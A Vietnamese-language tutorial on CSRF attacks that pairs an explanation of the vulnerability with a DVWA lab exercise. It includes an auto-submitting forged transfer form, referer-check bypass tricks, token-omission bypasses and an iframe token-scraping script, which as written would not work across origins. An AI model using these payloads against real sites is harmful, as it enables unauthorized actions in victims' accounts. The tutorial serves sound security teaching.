Khái niệm CSRF
CSRF (Cross-Site Request Forgery) là hình thức tấn công lợi dụng mối quan hệ tin cậy giữa người dùng và trang web. Không giống XSS tập trung vào việc chèn mã độc, CSRF giả lập hành vi của người dùng hợp lệ để thực hiện yêu cầu trái phép thông qua cookie trình duyệt vẫn còn hiệu lực.
Nguyên nhân chính
- Cookie xác thực tồn tại vĩnh viễn khi chưa đăng xuất
- Kiểm tra tính hợp lệ của yêu cầu không chặt chẽ
Hậu quả nghiêm trọng
- Sửa đổi dữ liệu người dùng
- Đánh cắp thông tin nhạy cảm
- Làm công cụ hỗ trợ cho các cuộc tấn công khác
- Phát tán mã độc CSRF Worm
Cơ chế phát hiện
Phân tích GET request
- Thử bỏ token khỏi URL nếu tồn tại
- Kiểm tra tính toàn vẹn của yêu cầu
Phân tích POST request
- Xóa token và tham số referer
- Kiểm tra phản hồi server khi thiếu thông tin xác thực
Ví dụ thực tế
Xét trang chuyển tiền đơn giản transfer.php:
<?php
$amount = $_POST['amount'];
$recipient = $_POST['recipient'];
echo "Chuyển $amount$ cho $recipient thành công";
?>
Tạo trang tấn công attack.html:
<body>
<form action="http://bank.com/transfer.php" method="POST">
<input type="hidden" name="recipient" value="hacker_account" />
<input type="hidden" name="amount" value="999999" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
Kỹ thuật bypass
Tránh kiểm tra Referer
if(stripos($_SERVER['HTTP_REFERER'], 'target.com') !== false) {
// Xử lý yêu cầu
}
Giải pháp: Đặt tên file chứa payload trùng với tên miền mục tiêu (ví dụ: target.com.php)
Vượt qua token
- Gửi request thiếu tham số token
- Đặt giá trị token thành chuỗi rỗng
Bài thực hành
Ứng dụng DVWA
Ở mức bảo mật Medium, server kiểm tra referer bằng hàm stripos(). Kỹ thuật hiệu quả:
- Đổi tên file tấn công thành IP server (ví dụ:
127.0.0.1.php) - Chèn form ẩn vào trang giả mạo
Trường hợp phức tạp
Với cơ chế token động (DVWA High), cần đồng bộ token thông qua iframe:
<iframe src="http://target.com/csrf-form" id="tokenFrame" style="display:none"></iframe>
<script>
function syncToken() {
var token = document.getElementById('tokenFrame').contentWindow.document.getElementById('tokenInput').value;
document.getElementById('csrfForm').token.value = token;
document.getElementById('csrfForm').submit();
}
</script>